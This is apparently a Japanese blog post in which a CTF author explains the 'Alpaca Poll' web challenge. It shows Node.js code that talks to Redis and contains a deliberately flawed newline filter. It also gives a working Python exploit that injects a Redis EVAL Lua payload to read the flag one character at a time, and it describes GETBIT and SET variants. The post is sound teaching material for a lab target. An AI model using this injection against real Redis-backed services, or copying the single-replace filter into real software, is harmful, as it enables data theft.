st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

AlpacaHack Round 7 (Web)で出題した問題(Alpaca Poll)の解説

2024年11月30日の12時から18時にかけて、AlpacaHack Round 7 (Web)が開催されました。4問出題されたうちのAlpaca Pollという1問を作問しましたので、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しているほか、AlpacaHackのプラットフォーム上で今からでも挑戦できます。


[Web 146] Alpaca Poll (42 solves)

犬、猫、アルパカ。この中で最も愛されている動物を決める日がやってきたパカ!

Dog, cat, and alpaca. Which animal is your favorite?

添付ファイル: alpaca-poll.tar.gz

概要

添付ファイルを展開して docker compose up -d --build するか、AlpacaHackプラットフォームの "Spawn Challenge Server" ボタンから問題サーバを立ち上げます。サーバにアクセスすると、次のように犬、猫、アルパカのいずれかに投票できるWebアプリが表示されます。

クライアント側のJSコードやDevToolsのNetworkタブなどを見てみると、以下の2つのAPIがあることがわかります。

  • GET /votes: {"dog":88,"cat":11,"alpaca":10000} のようなJSONを返し、現在の投票数を確認できる
  • POST /vote: animal=dog のように投票先を指定して投票できる

ソースコードを読んでいきましょう。compose.yaml は次のとおりです。フラグは環境変数から設定されているようです。

services:
  alpaca-poll:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - ${PORT:-3000}:3000
    environment:
      - FLAG=Alpaca{REDACTED}

Dockerfile によると、CMD ["/app/start.sh"] とエントリーポイントは /app/start.sh にあるようですから、このシェルスクリプトを確認します。どうやら、Redisのサーバを立ち上げてから、index.js をNode.jsで実行するという流れのようです。

#!/bin/bash
redis-server ./redis.conf &
sleep 3
node index.js

index.js は次のとおりです。投票結果の取得(getVotes)や投票(vote)、また最初に行われるデータベースの初期化(init)といった関数は db.js で定義されているようです。

import fs from 'node:fs/promises';
import express from 'express';

import { init, vote, getVotes } from './db.js';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'Alpaca{dummy}';

process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('static'));

const indexHtml = (await fs.readFile('./static/index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml);
});

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

await init(FLAG); // initialize Redis
app.listen(PORT, () => {
    console.log(`server listening on ${PORT}`);
});

db.js を見ていきましょう。まず気になるのは、なぜか node-redis のような便利な既存のパッケージを使わず、自前でRESPというプロトコルを喋ってRedisとやり取りしている点です。

import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

データベースの初期化を行う init 関数の定義は次のとおりです。アルパカへの投票数が不正に操作されているのは置いておいて、SET というコマンドを用いて投票数等に初期値を設定しています。

注目すべきは、message += `SET flag ${flag}\r\n`; // please exfiltrate this という処理です。どうやら flag というキーでフラグがRedisに格納されているようです。なんとかしてこの内容を外部に持ち出すことはできないでしょうか。

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}

GET /votes に対応する処理である getVotes は次のとおりです。GET コマンドdog, cat, alpaca というキーの値をそれぞれ取得し、parseInt で数値化した上で返しています。/\$\d+\r\n(\d+)/g という謎の正規表現がありますが、これはRedisから返ってきたRESPのレスポンスから、各キーの値を抽出するものです。

ここで取得されているキーは ANIMALS という配列で指定されている固定のもので、ユーザ入力は受け付けていませんから、たとえば flag の値を返させることはできません。

const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        message += `GET ${animal}\r\n`;
    }

    const reply = await send(socket, message);
    socket.destroy();

    let result = {};
    for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
        result[ANIMALS[index]] = parseInt(match[1], 10);
    }

    return result;
}

POST /vote に対応する処理である vote と、関連する index.js の処理は次のとおりです。getVotes と異なりユーザ入力を受け付けています。ここで、なにかSQL Injectionのような形でデータを抽出するような攻撃はできないでしょうか。

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

NoSQL Injectionでflagの内容を得る

POST /vote においてユーザが入力した動物が dog, cat, alpaca のいずれかかどうかはまったく確認されていません。たとえば、flag を入力するとどうなるのでしょうか。

試しに docker run --rm -it --name redis-test redis:latest でRedisサーバを立ち上げて、その結果を確かめてみましょう。すると、flag に入っているのが文字列であるためか、INCR flag でエラーが起きているのがわかります。

そもそも、たとえこれで flag の内容が得られていたとしても、parseInt(reply.match(/:(\d+)/)[1], 10) のように強引に数値化されてしまいます。フラグは数値ではありませんから、NaN になってしまいます。

$ docker exec -it redis-test redis-cli
127.0.0.1:6379> SET flag FLAG{DUMMY}
OK
127.0.0.1:6379> GET flag
"FLAG{DUMMY}"
127.0.0.1:6379> INCR flag
(error) ERR value is not an integer or out of range
127.0.0.1:6379> GET flag
"FLAG{DUMMY}"
127.0.0.1:6379>

では、どうすればよいでしょうか。index.jsPOST /vote の処理を見てみると、次のように String.prototype.replace を使ってキャリッジリターンやラインフィードを削除していることがわかります。これは、getVotes の例を見てもわかりますが、RESPでは改行文字をコマンド等の区切りとして用いているので、ユーザによって改行文字を挿入して INCR 以外のコマンドを実行されることを防ぐためです。

    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

しかしながら、すべての改行文字を削除したいのであれば、animal.replace('\r', '').replace('\n', '') のような String.prototype.replace の使い方をすべきではありません。MDNの解説を読んでみると、次のような記述が見つかります。

文字列パターンは一度だけ置換されます。 グローバルな検索と置換を行うには、正規表現を g フラグで使用するか、代わりに replaceAll() を使用してください。

つまり、.replace(/\r/g, '').replaceAll('\r', '') のようにしなければ、2個目以降の改行文字は削除されないわけです。たとえば、'\r\r\r'.replace('\r', '') をDevToolsのコンソールやNode.jsのREPLで実行してみると、返ってくるのは '\r\r' という文字列であることが確認できます。これを利用して INCR 以外のコマンドを実行させることができそうです。

では、どのようなコマンドを実行すればよいでしょうか。Redisのコマンド一覧を見ると色々有用そうなものがありますが、今回は EVAL コマンドを使ってみましょう。これは、Redis上でLuaスクリプトを実行できるという大変便利なコマンドです。

このLuaスクリプトからは redis.call という関数でRedisのコマンドを呼び出し、その実行結果を受け取ることもできます。string.byte を使えばi文字目の文字コードを取得するということもできますから、これらをあわせてフラグを1文字ずつ手に入れることができそうです。

127.0.0.1:6379> EVAL "return redis.call('GET', 'flag'):byte(1)" 0
(integer) 65

解く

では、これまでの成果をまとめて、フラグを1文字ずつ抽出するexploitを、Pythonとhttpxというライブラリを用いて書きましょう。

import os
import httpx

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 3000))

with httpx.Client(base_url=f"http://{HOST}:{PORT}") as client:
    flag = ''
    i = 1
    while not flag.endswith('}'):
        r = client.post('/vote', data={
            'animal': f'''a b\n\neval "return redis.call('GET', 'flag'):byte({i})" 0'''
        }).json()
        flag += chr(list(r.values())[0])
        print(flag)
        i += 1

実行するとフラグが得られました。

$ python3 s.py
A
Al
Alp
…
Alpaca{ezotanuki_mofumofu}
Alpaca{ezotanuki_mofumofu}

その他の解法

GETBITコマンドで1ビットずつフラグを得る

CTF終了後にwriteup等を眺めていると、maple3142さんやyuratwcさんは EVAL の代わりに GETBIT というコマンドを用いていたようでした。これは文字列の指定したビットを取得できるというものです。たしかに、このコマンドはビットを数値として返すので、POST /vote から parseInt を気にせずにその値を得て、1ビットずつフラグを抽出することができます。

SETコマンドでdogやcatなどに数値をセットする

ほかにも、たとえばt-chenさんの解法では、EVAL コマンドは使うものの、redis.call('SET', 'dog', string.byte(…)) のようにして dogcat といったキーにフラグのi文字目の文字コードをセットしていました。たしかに、この方法であればセットされたその値を GET /votes から取得できます。

作問の背景

NoSQL Injectionするだろうことは一見して明らかだけれども、どういう状況下で攻撃できるのか、また「フラグを取得する」という目的を達成するにはどのようにして脆弱性を悪用すればよいのかという点を考える必要のある問題にしたいと思いつつ作りました。つまり、ただこういう種類の脆弱性があると知っているだけでなく、攻撃を成立させられるかどうかを問いたかったわけです。

よくCTFを遊ぶプレイヤーからすると典型問題に感じられるかと思いますが、そもそも競技時間が6時間と非常に短い上にほかにも3問あること、また「初心者を含め様々なレベルの方に楽しんでいただ」くために、難易度を抑えました。

NoSQL Injectionへ誘導するためにわざわざ "no injection please" と言ったりだとか、"animal must be a string" と animal というパラメータは文字列に変換されるので、なにか変なオブジェクトを仕込むような問題ではないと示唆したりだとか、(私が作る問題にありがちなことですが)色々コメントを仕込んでいます。これらはちゃんと誘導として機能していたでしょうか。

redis.conf では SLAVEOFCONFIG のようなヤバそうなコマンドを封じていました。実際に悪用できるかどうかは一切確認していませんが、たとえ別解を歓迎していても、なにかこれがあることで極端に簡単に解けるというコマンドがあると嫌だなあという適当な理由からです。ここまでで述べた解法とは方向性のまったく異なるアプローチがあれば、ぜひ教えてください。